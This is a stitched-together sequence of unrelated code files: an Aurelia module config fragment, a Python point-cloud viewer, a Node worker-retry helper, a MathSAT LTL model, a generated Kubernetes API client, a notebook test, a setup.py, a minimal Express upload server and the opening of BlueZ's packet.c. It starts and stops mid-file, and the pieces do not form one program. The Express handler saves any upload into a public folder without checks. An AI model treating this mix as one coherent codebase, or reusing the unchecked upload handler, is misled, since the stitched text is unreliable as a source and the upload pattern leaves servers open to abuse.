t\\amd\\aurelia-path","aurelia-route-recognizer":"..\\node_modules\\aurelia-route-recognizer\\dist\\amd\\aurelia-route-recognizer","aurelia-polyfills":"..\\node_modules\\aurelia-polyfills\\dist\\amd\\aurelia-polyfills","aurelia-router":"..\\node_modules\\aurelia-router\\dist\\amd\\aurelia-router","aurelia-task-queue":"..\\node_modules\\aurelia-task-queue\\dist\\amd\\aurelia-task-queue","aurelia-templating":"..\\node_modules\\aurelia-templating\\dist\\amd\\aurelia-templating","aurelia-templating-binding":"..\\node_modules\\aurelia-templating-binding\\dist\\amd\\aurelia-templating-binding","text":"..\\node_modules\\text\\text","app-bundle":"../scripts/app-bundle"},"packages":[{"name":"aurelia-templating-resources","location":"../node_modules/aurelia-templating-resources/dist/amd","main":"aurelia-templating-resources"},{"name":"aurelia-templating-router","location":"../node_modules/aurelia-templating-router/dist/amd","main":"aurelia-templating-router"},{"name":"aurelia-testing","location":"../node_modules/aurelia-testing/dist/amd","main":"aurelia-testing"}],"stubModules":["text"],"shim":{},"bundles":{"app-bundle":["app","environment","main","resources/index"]}})}
|
from OpenGL import GL as gl
import pangolin as pango
import cv2
import numpy as np
def main():
pango.CreateWindowAndBind('fake stereo', 640, 480)
gl.glEnable(gl.GL_DEPTH_TEST) #fixes point overlapping issue
# Projection and ModelView Matrices
scam = pango.OpenGlRenderState(
pango.ProjectionMatrix(640, 480, 420, 420, 320, 240, 500, 100000),
pango.ModelViewLookAt(-10, -10, -10, 0, 0, 0, pango.AxisDirection.AxisY))
handler = pango.Handler3D(scam)
# Interactive View in Window
disp_cam = pango.CreateDisplay()
disp_cam.SetBounds(0.0, 1.0, 0.0, 1.0, -640.0/480.0)
disp_cam.SetHandler(handler)
w = 250
h = 50
img = cv2.imread('img/2.png')#[:w,70:500]
disp = cv2.imread('img/out1.png',0) * 5.0#[:w,70:500] * 5.0
print(disp[0,200])
# Add point locations using pixel location and z-distance from disparity map
# lazy man's point cloud
mask = np.ones_like(disp) * 1.0
#mask[disp < 5.0] = 0.0
cv2.imshow('mask', mask*1000.0)
grid = np.mgrid[0:img.shape[1], 0:img.shape[0]]
grid = np.swapaxes(grid, 0,2)
pts = np.dstack((grid,disp)) * 1.0
pts[pts[:,:,-1] < 100.0] = [0,0,0]
pts = -1.0 * pts.reshape(pts.shape[0]*pts.shape[1], 3)
# Color matrix based on point location
colors = img /512.0#np.dstack((img,img,img))
colors = colors.reshape(colors.shape[0]*colors.shape[1],3)
#colors[:, :] = 1. - img[:,:]/10
#colors[:] = [0.5, 0.5, 0.5]
while not pango.ShouldQuit():
# Clear screen
gl.glClear(gl.GL_COLOR_BUFFER_BIT | gl.GL_DEPTH_BUFFER_BIT)
#gl.glClearColor(0.15, 0.15, 0.15, 0.0)
gl.glClearColor(0.0, 0.0, 0.0, 1.0)
disp_cam.Activate(scam)
# Draw Points
gl.glPointSize(3)
gl.glColor3f(0.0, 1.0, 0.0)
pango.DrawPoints(pts, colors)
# Finish Drawing
pango.FinishFrame()
if __name__ == '__main__':
main()
|
"use strict";
var options = require("config-sets").init({
try_to_run: {
retrying: 10,
enabled: true
}
}).try_to_run;
var fs = require("fs");
var path = require("path");
var wt = require("worker_threads");
var timeout = null;
var counter = 0;
function try_to_run(filename, retrying = options.retrying) {
if (!options.enabled || wt.workerData === "try-to-run") return null;
if (!filename) { filename = process.argv[1]; }
var _options = { workerData: "try-to-run" };
var exists = fs.existsSync(path.resolve(filename));
if (!exists) { _options.eval = true; }
var worker = new wt.Worker(filename, _options);
worker.on("error", function (err) { console.error("\r\n", err); });
worker.on("exit", function (exitCode) {
if (counter < retrying || 0 > retrying) {
counter++;
clearTimeout(timeout);
console.warn("\r\n" + counter + ". try to run '" + filename + "'");
try_to_run(filename, retrying);
timeout = setTimeout(function () {
console.log("\r\nResetting the retry counter.");
counter = 0;
}, 30000);
}
else {
clearTimeout(timeout);
}
});
worker.on("message", function (msg) {
if (msg === "kill") {
worker.removeAllListeners("exit");
worker.terminate();
}
});
return worker;
}
module.exports = (function () {
function run(filename, retrying) { return try_to_run(filename, retrying); };
run.try_to_run = try_to_run;
return run;
})();
|
from typing import Tuple, FrozenSet
from collections import Iterable
from mathsat import msat_term, msat_env
from mathsat import msat_make_constant, msat_declare_function
from mathsat import msat_get_integer_type, msat_get_rational_type, msat_get_bool_type
from mathsat import msat_make_and, msat_make_not, msat_make_or
from mathsat import msat_make_leq, msat_make_equal
from mathsat import msat_make_number, msat_make_plus
from pysmt.environment import Environment as PysmtEnv
import pysmt.typing as types
from ltl.ltl import TermMap, LTLEncoder
from utils import name_next, symb_to_next
from hint import Hint, Location
def msat_make_lt(menv: msat_env, arg0: msat_term, arg1: msat_term):
geq = msat_make_geq(menv, arg0, arg1)
return msat_make_not(menv, geq)
def msat_make_geq(menv: msat_env, arg0: msat_term, arg1: msat_term):
return msat_make_leq(menv, arg1, arg0)
def msat_make_gt(menv: msat_env, arg0: msat_term, arg1: msat_term):
leq = msat_make_leq(menv, arg0, arg1)
return msat_make_not(menv, leq)
def msat_make_impl(menv: msat_env, arg0: msat_term, arg1: msat_term):
n_arg0 = msat_make_not(menv, arg0)
return msat_make_or(menv, n_arg0, arg1)
def check_ltl(menv: msat_env, enc: LTLEncoder) -> Tuple[Iterable, msat_term,
msat_term, msat_term]:
assert menv
assert isinstance(menv, msat_env)
assert enc
assert isinstance(enc, LTLEncoder)
bool_type = msat_get_bool_type(menv)
real_type = msat_get_rational_type(menv)
i = msat_declare_function(menv, "i", real_type)
i = msat_make_constant(menv, i)
r = msat_declare_function(menv, "r", real_type)
r = msat_make_constant(menv, r)
l = msat_declare_function(menv, "l", real_type)
l = msat_make_constant(menv, l)
inc_i = msat_declare_function(menv, "inc_i", bool_type)
inc_i = msat_make_constant(menv, inc_i)
x_i = msat_declare_function(menv, name_next("i"), real_type)
x_i = msat_make_constant(menv, x_i)
x_r = msat_declare_function(menv, name_next("r"), real_type)
x_r = msat_make_constant(menv, x_r)
x_l = msat_declare_function(menv, name_next("l"), real_type)
x_l = msat_make_constant(menv, x_l)
x_inc_i = msat_declare_function(menv, name_next("inc_i"), bool_type)
x_inc_i = msat_make_constant(menv, x_inc_i)
curr2next = {i: x_i, r: x_r, l: x_l, inc_i: x_inc_i}
zero = msat_make_number(menv, "0")
one = msat_make_number(menv, "1")
r_gt_0 = msat_make_gt(menv, r, zero)
r_lt_l = msat_make_lt(menv, r, l)
i_geq_0 = msat_make_geq(menv, i, zero)
init = msat_make_and(menv, r_gt_0, r_lt_l)
init = msat_make_and(menv, init,
msat_make_and(menv, i_geq_0,
msat_make_not(menv, inc_i)))
init = msat_make_and(menv, init, msat_make_gt(menv, l, zero))
# r' = r
trans = msat_make_equal(menv, x_r, r)
# i < l -> ((inc_i' & i' = i + 1) | (!inc_i' & i' = i)) & l' = l
i_lt_l = msat_make_lt(menv, i, l)
x_i_eq_i_p_1 = msat_make_and(menv, x_inc_i,
msat_make_equal(menv, x_i,
msat_make_plus(menv, i, one)))
x_i_eq_i = msat_make_and(menv, msat_make_not(menv, x_inc_i),
msat_make_equal(menv, x_i, i))
x_i_eq_i_p_1_or_i = msat_make_or(menv, x_i_eq_i_p_1, x_i_eq_i)
x_l_eq_l = msat_make_equal(menv, x_l, l)
x_i_eq_i_p_1_or_i_and_x_l_eq_l = msat_make_and(menv, x_i_eq_i_p_1_or_i,
x_l_eq_l)
trans = msat_make_and(menv, trans,
msat_make_impl(menv, i_lt_l,
x_i_eq_i_p_1_or_i_and_x_l_eq_l))
# i >= l -> i' = 0 & l' = l + 1 & !inc_i'
i_geq_l = msat_make_geq(menv, i, l)
x_i_eq_0 = msat_make_equal(menv, x_i, zero)
x_l_eq_l_p_1 = msat_make_equal(menv, x_l, msat_make_plus(menv, l, one))
x_i_eq_0_and_x_l_eq_l_p_1 = msat_make_and(menv,
msat_make_and(menv, x_i_eq_0,
x_l_eq_l_p_1),
msat_make_not(menv, x_inc_i))
trans = msat_make_and(menv, trans,
msat_make_impl(menv, i_geq_l,
x_i_eq_0_and_x_l_eq_l_p_1))
# (G F inc_i) -> ! G F r > i
G_F_x_i_gt_i = enc.make_G(enc.make_F(inc_i))
r_gt_i = msat_make_gt(menv, r, i)
n_G_F_r_gt_i = msat_make_not(menv, enc.make_G(enc.make_F(r_gt_i)))
ltl = msat_make_impl(menv, G_F_x_i_gt_i, n_G_F_r_gt_i)
return TermMap(curr2next), init, trans, ltl
def hints(env: PysmtEnv) -> FrozenSet[Hint]:
assert isinstance(env, PysmtEnv)
mgr = env.formula_manager
i = mgr.Symbol("i", types.REAL)
r = mgr.Symbol("r", types.REAL)
l = mgr.Symbol("l", types.REAL)
inc_i = mgr.Symbol("inc_i", types.BOOL)
symbs = frozenset([i, r, l, inc_i])
x_i = symb_to_next(mgr, i)
x_r = symb_to_next(mgr, r)
x_l = symb_to_next(mgr, l)
x_inc_i = symb_to_next(mgr, inc_i)
res = []
n0 = mgr.Real(0)
n1 = mgr.Real(1)
stutter = mgr.Equals(x_i, i)
loc = Location(env, mgr.LE(i, n0), stutterT=stutter)
loc.set_progress(0, mgr.Equals(x_i, mgr.Minus(i, n1)))
h_i = Hint("h_i1", env, frozenset([i]), symbs)
h_i.set_locs([loc])
res.append(h_i)
loc0 = Location(env, mgr.GE(r, n0))
loc0.set_progress(1, mgr.Equals(x_r, r))
loc1 = Location(env, mgr.GE(r, n0))
loc1.set_progress(0, mgr.Equals(x_r, mgr.Plus(r, n1)))
h_r = Hint("h_r2", env, frozenset([r]), symbs)
h_r.set_locs([loc0, loc1])
res.append(h_r)
stutter = mgr.Equals(x_i, i)
loc = Location(env, mgr.GE(i, n0), stutterT=stutter)
loc.set_progress(0, mgr.Equals(x_i, mgr.Plus(i, n1)))
h_i = Hint("h_i0", env, frozenset([i]), symbs)
h_i.set_locs([loc])
res.append(h_i)
loc0 = Location(env, mgr.GE(l, n0))
loc0.set_progress(1, mgr.Equals(x_l, mgr.Plus(l, n1)))
loc1 = Location(env, mgr.GE(l, n0))
loc1.set_progress(0, mgr.Equals(x_l, l))
h_l = Hint("h_l2", env, frozenset([l]), symbs)
h_l.set_locs([loc0, loc1])
res.append(h_l)
loc0 = Location(env, mgr.GE(l, n0))
loc0.set_progress(1, mgr.Equals(x_l, mgr.Plus(l, n1)))
loc1 = Location(env, mgr.GE(l, n0))
loc1.set_progress(2, mgr.Equals(x_l, l))
loc2 = Location(env, mgr.GE(l, n0))
loc2.set_progress(0, mgr.Equals(x_l, l))
h_l = Hint("h_l4", env, frozenset([l]), symbs)
h_l.set_locs([loc0, loc1, loc2])
res.append(h_l)
loc0 = Location(env, mgr.GE(r, n0))
loc0.set_progress(1, mgr.Equals(x_r, r))
loc1 = Location(env, mgr.GE(r, n0))
loc1.set_progress(2, mgr.Equals(x_r, mgr.Plus(r, n1)))
loc2 = Location(env, mgr.GE(r, n0))
loc2.set_progress(0, mgr.Equals(x_r, r))
h_r = Hint("h_r4", env, frozenset([r]), symbs)
h_r.set_locs([loc0, loc1, loc2])
res.append(h_r)
loc = Location(env, mgr.GE(l, n0))
loc.set_progress(0, mgr.Equals(x_l, mgr.Plus(l, n1)))
h_l = Hint("h_l0", env, frozenset([l]), symbs)
h_l.set_locs([loc])
res.append(h_l)
return frozenset(res)
|
# coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: v1.10.1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from kubernetes_asyncio.client.api_client import ApiClient
class StorageApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def get_api_group(self, **kwargs): # noqa: E501
"""get_api_group # noqa: E501
get information of a group # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_api_group(async=True)
>>> result = thread.get()
:param async bool
:return: V1APIGroup
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_api_group_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_api_group_with_http_info(**kwargs) # noqa: E501
return data
def get_api_group_with_http_info(self, **kwargs): # noqa: E501
"""get_api_group # noqa: E501
get information of a group # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_api_group_with_http_info(async=True)
>>> result = thread.get()
:param async bool
:return: V1APIGroup
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_api_group" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json', 'application/yaml', 'application/vnd.kubernetes.protobuf']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json', 'application/yaml', 'application/vnd.kubernetes.protobuf']) # noqa: E501
# Authentication setting
auth_settings = ['BearerToken'] # noqa: E501
return self.api_client.call_api(
'/apis/storage.k8s.io/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='V1APIGroup', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
|
"""
tests the create_isotope_plot from plotting_utils in the same way the examples
use the function.
"""
import os
import sys
import unittest
from pathlib import Path
import nbformat
from nbconvert.preprocessors import ExecutePreprocessor
from nbconvert.preprocessors.execute import CellExecutionError
def _notebook_run(path):
"""
Execute a notebook via nbconvert and collect output.
:returns (parsed nb object, execution errors)
"""
kernel_name = 'python%d' % sys.version_info[0]
this_file_directory = os.path.dirname(__file__)
errors = []
with open(path) as f:
nb = nbformat.read(f, as_version=4)
nb.metadata.get('kernelspec', {})['name'] = kernel_name
ep = ExecutePreprocessor(kernel_name=kernel_name, timeout=300) #, allow_errors=True
try:
ep.preprocess(nb, {'metadata': {'path': this_file_directory}})
except CellExecutionError as e:
if "SKIP" in e.traceback:
print(str(e.traceback).split("\n")[-2])
else:
raise e
return nb, errors
class test_tasks(unittest.TestCase):
def test_task_2(self):
for notebook in Path().rglob("tasks/task_02_*/*.ipynb"):
print(notebook)
nb, errors = _notebook_run(notebook)
assert errors == []
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from setuptools import setup
with open('README.rst') as readme_file:
readme = readme_file.read()
with open('HISTORY.rst') as history_file:
history = history_file.read()
requirements = [
'Click>=6.0',
'Pillow==4.0.0',
]
test_requirements = [
# TODO: put package test requirements here
]
setup(
name='icon_set',
version='0.1.0',
description="Utility tool to help you create Apple Icon Set files.",
long_description=readme + '\n\n' + history,
author="Shahriar Tajbakhsh",
author_email='sh.tajbakhsh@gmail.com',
url='https://github.com/s16h/icon_set',
packages=[
'icon_set',
],
package_dir={'icon_set':
'icon_set'},
entry_points={
'console_scripts': [
'icon_set=icon_set.cli:main'
]
},
include_package_data=True,
install_requires=requirements,
license="MIT license",
zip_safe=False,
keywords='icon_set',
classifiers=[
'Development Status :: 2 - Pre-Alpha',
'Intended Audience :: Developers',
'License :: OSI Approved :: MIT License',
'Natural Language :: English',
"Programming Language :: Python :: 2",
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
],
test_suite='tests',
tests_require=test_requirements
)
|
var express = require("express")
var formidable = require('express-formidable')
var fs = require('fs');
var app = express();
app.use(formidable({
uploadDir: 'public'
}));
app.listen(3000, () => console.log('Server running'));
app.post('/upload', (req, res) => {
fs.rename(req.files.avatar.path, req.files.avatar.path + '.jpg',
err => {
res.send('');
});
})
|
// SPDX-License-Identifier: LGPL-2.1-or-later
/*
*
* BlueZ - Bluetooth protocol stack for Linux
*
* Copyright (C) 2011-2014 Intel Corporation
* Copyright (C) 2002-2010 Marcel Holtmann <marcel@holtmann.org>
*
*
*/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <inttypes.h>
#include <time.h>
#include <sys/time.h>
#include <sys/socket.h>
#include "lib/bluetooth.h"
#include "lib/uuid.h"
#include "lib/hci.h"
#include "lib/hci_lib.h"
#include "src/shared/util.h"
#include "src/shared/btsnoop.h"
#include "display.h"
#include "bt.h"
#include "ll.h"
#include "hwdb.h"
#include "keys.h"
#include "l2cap.h"
#include "control.h"
#include "vendor.h"
#include "msft.h"
#include "intel.h"
#include "broadcom.h"
#include "packet.h"
#define COLOR_CHANNEL_LABEL COLOR_WHITE
#define COLOR_FRAME_LABEL COLOR_WHITE
#define COLOR_INDEX_LABEL COLOR_WHITE
#define COLOR_TIMESTAMP COLOR_YELLOW
#define COLOR_NEW_INDEX COLOR_GREEN
#define COLOR_DEL_INDEX COLOR_RED
#define COLOR_OPEN_INDEX COLOR_GREEN
#define COLOR_CLOSE_INDEX COLOR_RED
#define COLOR_INDEX_INFO COLOR_GREEN
#define COLOR_VENDOR_DIAG COLOR_YELLOW
#define COLOR_SYSTEM_NOTE COLOR_OFF
#define COLOR_HCI_COMMAND COLOR_BLUE
#define COLOR_HCI_COMMAND_UNKNOWN COLOR_WHITE_BG
#define COLOR_HCI_EVENT COLOR_MAGENTA
#define COLOR_HCI_EVENT_UNKNOWN COLOR_WHITE_BG
#define COLOR_HCI_ACLDATA COLOR_CYAN
#define COLOR_HCI_SCODATA COLOR_YELLOW
#define COLOR_UNKNOWN_ERROR COLOR_WHITE_BG
#define COLOR_UNKNOWN_FEATURE_BIT COLOR_WHITE_BG
#define COLOR_UNKNOWN_COMMAND_BIT COLOR_WHITE_BG
#define COLOR_UNKNOWN_EVENT_MASK COLOR_WHITE_BG
#define COLOR_UNKNOWN_LE_STATES COLOR_WHITE_BG
#define COLOR_UNKNOWN_SERVICE_CLASS COLOR_WHITE_BG
#define COLOR_UNKNOWN_PKT_TYPE_BIT COLOR_WHITE_BG
#define COLOR_CTRL_OPEN COLOR_GREEN_BOLD
#define COLOR_CTRL_CLOSE COLOR_RED_BOLD
#define COLOR_CTRL_COMMAND COLOR_BLUE_BOLD
#define COLOR_CTRL_COMMAND_UNKNOWN COLOR_WHITE_BG
#define COLOR_CTRL_EVENT COLOR_MAGENTA_BOLD
#define COLOR_CTRL_EVENT_UNKNOWN COLOR_WHITE_BG
#define COLOR_UNKNOWN_OPTIONS_BIT COLOR_WHITE_BG
#define COLOR_UNKNOWN_SETTINGS_BIT COLOR_WHITE_BG
#define COLOR_UNKNOWN_ADDRESS_TYPE COLOR_WHITE_BG
#define COLOR_UNKNOWN_DEVICE_FLAG COLOR_WHITE_BG
#define COLOR_UNKNOWN_EXP_FEATURE_FLAG COLOR_WHITE_BG
#define COLOR_UNKNOWN_ADV_FLAG COLOR_WHITE_BG
#define COLOR_UNKNOWN_PHY COLOR_WHITE_BG
#define COLOR_UNKNOWN_ADDED_DEVICE_FLAG COLOR_WHITE_BG
#define COLOR_UNKNOWN_ADVMON_FEATURES COLOR_WHITE_BG
#define COLOR_PHY_PACKET COLOR_BLUE
#define UNKNOWN_MANUFACTURER 0xffff
static time_t time_offset = ((time_t) -1);
static int priority_level = BTSNOOP_PRIORITY_INFO;
static unsigned long filter_mask = 0;
static bool index_filter = false;
static uint16_t index_current = 0;
static uint16_t fallback_manufacturer = UNKNOWN_MANUFACTURER;
#define CTRL_RAW 0x0000
#define CTRL_USER 0x0001
#define CTRL_MGMT 0x0002
#define MAX_CTRL 64
struct ctrl_data {
bool used;
uint32_t cookie;
uint16_t format;
char name[20];
};
static struct ctrl_data ctrl_list[MAX_CTRL];
static void assign_ctrl(uint32_t cookie, uint16_t format, const char *name)
{
int i;
for (i = 0; i < MAX_CTRL; i++) {
if (!ctrl_list[i].used) {
ctrl_list[i].used = true;
ctrl_list[i].cookie = cookie;
ctrl_list[i].format = format;
if (name) {
strncpy(ctrl_list[i].name, name, 19);
ctrl_list[i].name[19] = '\0';
} else
strcpy(ctrl_list[i].name, "null");
break;
}
}
}
static void release_ctrl(uint32_t cookie, uint16_t *format, char *name)
{
int i;
if (format)
*format = 0xffff;
for (i = 0; i < MAX_CTRL; i++) {
if (ctrl_list[i].used && ctrl_list[i].cookie == cookie) {
ctrl_list[i].used = false;
if (format)
*format = ctrl_list[i].format;
if (name)
strncpy(name, ctrl_list[i].name, 20);
break;
}
}
}
static uint16_t get_format(uint32_t cookie)
{
int i;
for (i = 0; i < MAX_CTRL; i++) {
if (ctrl_list[i].used && ctrl_list[i].cookie == cookie)
return ctrl_list[i].format;
}
return 0xffff;
}
#define MAX_CONN 16
struct conn_data {
uint16_t handle;
uint8_t type;
};
static struct conn_data conn_list[MAX_CONN];
static void assign_handle(uint16_t handle, uint8_t type)
{
int i;
for (i = 0; i < MAX_CONN; i++) {
if (conn_list[i].handle == 0x0000) {
conn_list[i].handle = handle;
conn_list[i].type = type;
break;
}
}
}
static void release_handle(uint16_t handle)
{
int i;
for (i = 0; i < MAX_CONN; i++) {
if (conn_list[i].handle == handle) {
conn_list[i].handle = 0x0000;
conn_list[i].type = 0x00;
break;
}
}
}
static uint8_t get_type(uint16_t handle)
{
int i;
for (i = 0; i < MAX_CONN; i++) {
if (conn_list[i].handle == handle)
return conn_list[i].type;
}
return 0xff;
}
bool packet_has_filter(unsigned long filter)
{
return filter_mask & filter;
}
void packet_set_filter(unsigned long filter)
{
filter_mask = filter;
}
void packet_add_filter(unsigned long filter)
{
if (index_filter)
filter &= ~PACKET_FILTER_SHOW_INDEX;
filter_mask |= filter;
}
void packet_del_filter(unsigned long filter)
{
filter_mask &= ~filter;
}
void packet_set_priority(const char *priority)
{
if (!priority)
return;
if (!strcasecmp(priority, "debug"))
priority_level = BTSNOOP_PRIORITY_DEBUG;
else
priority_level = atoi(priority);
}
void packet_select_index(uint16_t index)
{
filter_mask &= ~PACKET_FILTER_SHOW_INDEX;
control_filter_index(index);
index_filter = true;
}
#define print_space(x) printf("%*c", (x), ' ');
#define MAX_INDEX 16
struct index_data {
uint8_t type;
uint8_t bdaddr[6];
uint16_t manufacturer;
uint16_t msft_opcode;
size_t frame;
};
static struct index_data index_list[MAX_INDEX];
void packet_set_fallback_manufacturer(uint16_t manufacturer)
{
int i;
for (i = 0; i < MAX_INDEX; i++)
index_list[i].manufacturer = manufacturer;
fallback_manufacturer = manufacturer;
}
static void print_packet(struct timeval *tv, struct ucred *cred, char ident,
uint16_t index, const char *channel,
const char *color, const char *label,
const char *text, const char *extra)
{
int col = num_columns();
char line[256], ts_str[96];
int n, ts_len = 0, ts_pos = 0, len = 0, pos = 0;
static size_t last_frame;
if (channel) {
if (use_color()) {
n = sprintf(ts_str + ts_pos, "%s", COLOR_CHANNEL_LABEL);
if (n > 0)
ts_pos += n;
}
n = sprintf(ts_str + ts_pos, " {%s}", channel);
if (n > 0) {
ts_pos += n;
ts_len += n;
}
} else if (index != HCI_DEV_NONE && index < MAX_INDEX &&
index_list[index].frame != last_frame) {
if (use_color()) {
n = sprintf(ts_str + ts_pos, "%s", COLOR_FRAME_LABEL);
if (n > 0)
ts_pos += n;
}
n = sprintf(ts_str + ts_pos, " #%zu", index_list[index].frame);
if (n > 0) {
ts_pos += n;
ts_len += n;
}
last_frame = index_list[index].frame;
}
if ((filter_mask & PACKET_FILTER_SHOW_INDEX) &&
index != HCI_DEV_NONE) {
if (use_color()) {
n = sprintf(ts_str + ts_pos, "%s", COLOR_INDEX_LABEL);
if (n > 0)
ts_pos += n;
}
n = sprintf(ts_str + ts_pos, " [hci%d]", index);
if (n > 0) {
ts_pos += n;
ts_len += n;
}
}
if (tv) {
time_t t = tv->tv_sec;
struct tm tm;
localtime_r(&t, &tm);
if (use_color()) {
n = sprintf(ts_str + ts_pos, "%s", COLOR_TIMESTAMP);
if (n > 0)
ts_pos += n;
}
if (filter_mask & PACKET_FILTER_SHOW_DATE) {
n = sprintf(ts_str + ts_pos, " %04d-%02d-%02d",
tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday);
if (n > 0) {
ts_pos += n;
ts_len += n;
}
}
if (filter_mask & PACKET_FILTER_SHOW_TIME) {
n = sprintf(ts_str + ts_pos, " %02d:%02d:%02d.%06lu",
tm.tm_hour, tm.tm_min, tm.tm_sec, tv->tv_usec);
if (n > 0) {
ts_pos += n;
ts_len += n;
}
}
if (filter_mask & PACKET_FILTER_SHOW_TIME_OFFSET) {
n = sprintf(ts_str + ts_pos, " %lu.%06lu",
tv->tv_sec - time_offset, tv->tv_usec);
if (n > 0) {
ts_pos += n;
ts_len += n;
}
}
}
if (use_color()) {
n = sprintf(ts_str + ts_pos, "%s", COLOR_OFF);
if (n > 0)
ts_pos += n;
}
if (use_color()) {
n = sprintf(line + pos, "%s", color);
if (n > 0)
pos += n;
}
n = sprintf(line + pos, "%c %s", ident, label ? label : "");
if (n > 0) {
pos += n;
len += n;
}
if (text) {
int extra_len = extra ? strlen(extra) : 0;
int max_len = col - len - extra_len - ts_len - 3;
n = snprintf(line + pos, max_len + 1, "%s%s",
label ? ": " : "", text);
if (n > max_len) {
line[pos + max_len - 1] = '.';
line[pos + max_len - 2] = '.';
if (line[pos + max_len - 3] == ' ')
line[pos + max_len - 3] = '.';
n = max_len;
}
if (n > 0) {
pos += n;
len += n;
}
}
if (use_color()) {
n = sprintf(line + pos, "%s", COLOR_OFF);
if (n > 0)
pos += n;
}
if (extra) {
n = sprintf(line + pos, " %s", extra);
if (n > 0) {
pos += n;
len += n;
}
}
if (ts_len > 0) {
printf("%s", line);
if (len < col)
print_space(col - len - ts_len - 1);
printf("%s%s\n", use_color() ? COLOR_TIMESTAMP : "", ts_str);
} else
printf("%s\n", line);
}
static const struct {
uint8_t error;
const char *str;
} error2str_table[] = {
{ 0x00, "Success" },
{ 0x01, "Unknown HCI Command" },
{ 0x02, "Unknown Connection Identifier" },
{ 0x03, "Hardware Failure" },
{ 0x04, "Page Timeout" },
{ 0x05, "Authentication Failure" },
{ 0x06, "PIN or Key Missing" },
{ 0x07, "Memory Capacity Exceeded" },
{ 0x08, "Connection Timeout" },
{ 0x09, "Connection Limit Exceeded" },
{ 0x0a, "Synchronous Connection Limit to a Device Exceeded" },
{ 0x0b, "ACL Connection Already Exists" },
{ 0x0c, "Command Disallowed" },
{ 0x0d, "Connection Rejected due to Limited Resources" },
{ 0x0e, "Connection Rejected due to Security Reasons" },
{ 0x0f, "Connection Rejected due to Unacceptable BD_ADDR" },
{ 0x10, "Connection Accept Timeout Exceeded" },
{ 0x11, "Unsupported Feature or Parameter Value" },
{ 0x12, "Invalid HCI Command Parameters" },
{ 0x13, "Remote User Terminated Connection" },
{ 0x14, "Remote Device Terminated due to Low Resources" },
{ 0x15, "Remote Device Terminated due to Power Off" },
{ 0x16, "Connection Terminated By Local Host" },
{ 0x17, "Repeated Attempts" },
{ 0x18, "Pairing Not Allowed" },
{ 0x19, "Unknown LMP PDU" },
{ 0x1a, "Unsupported Remote Feature / Unsupported LMP Feature" },
{ 0x1b, "SCO Offset Rejected" },
{ 0x1c, "SCO Interval Rejected" },
{ 0x1d, "SCO Air Mode Rejected" },
{ 0x1e, "Invalid LMP Parameters / Invalid LL Parameters" },
{ 0x1f, "Unspecified Error" },
{ 0x20, "Unsupported LMP Parameter Value / "
"Unsupported LL Parameter Value" },
{ 0x21, "Role Change Not Allowed" },
{ 0x22, "LMP Response Timeout / LL Response Timeout" },
{ 0x23, "LMP Error Transaction Collision" },
{ 0x24, "LMP PDU Not Allowed" },
{ 0x25, "Encryption Mode Not Acceptable" },
{ 0x26, "Link Key cannot be Changed" },
{ 0x27, "Requested QoS Not Supported" },
{ 0x28, "Instant Passed" },
{ 0x29, "Pairing With Unit Key Not Supported" },
{ 0x2a, "Different Transaction Collision" },
{ 0x2b, "Reserved" },
{ 0x2c, "QoS Unacceptable Parameter" },
{ 0x2d, "QoS Rejected" },
{ 0x2e, "Channel Classification Not Supported" },
{ 0x2f, "Insufficient Security" },
{ 0x30, "Parameter Out Of Manadatory Range" },
{ 0x31, "Reserved" },
{ 0x32, "Role Switch Pending" },
{ 0x33, "Reserved" },
{ 0x34, "Reserved Slot Violation" },
{ 0x35, "Role Switch Failed" },
{ 0x36, "Extended Inquiry Response Too Large" },
{ 0x37, "Secure Simple Pairing Not Supported By Host" },
{ 0x38, "Host Busy - Pairing" },
{ 0x39, "Connection Rejected due to No Suitable Channel Found" },
{ 0x3a, "Controller Busy" },
{ 0x3b, "Unacceptable Connection Parameters" },
{ 0x3c, "Advertising Timeout" },
{ 0x3d, "Connection Terminated due to MIC Failure" },
{ 0x3e, "Connection Failed to be Established" },
{ 0x3f, "MAC Connection Failed" },
{ 0x40, "Coarse Clock Adjustment Rejected "
"but Will Try to Adjust Using Clock Dragging" },
{ 0x41, "Type0 Submap Not Defined" },
{ 0x42, "Unknown Advertising Identifier" },
{ 0x43, "Limit Reached" },
{ 0x44, "Operation Cancelled by Host" },
{ 0x45, "Packet Too Long" },
{ }
};
static void print_error(const char *label, uint8_t error)
{
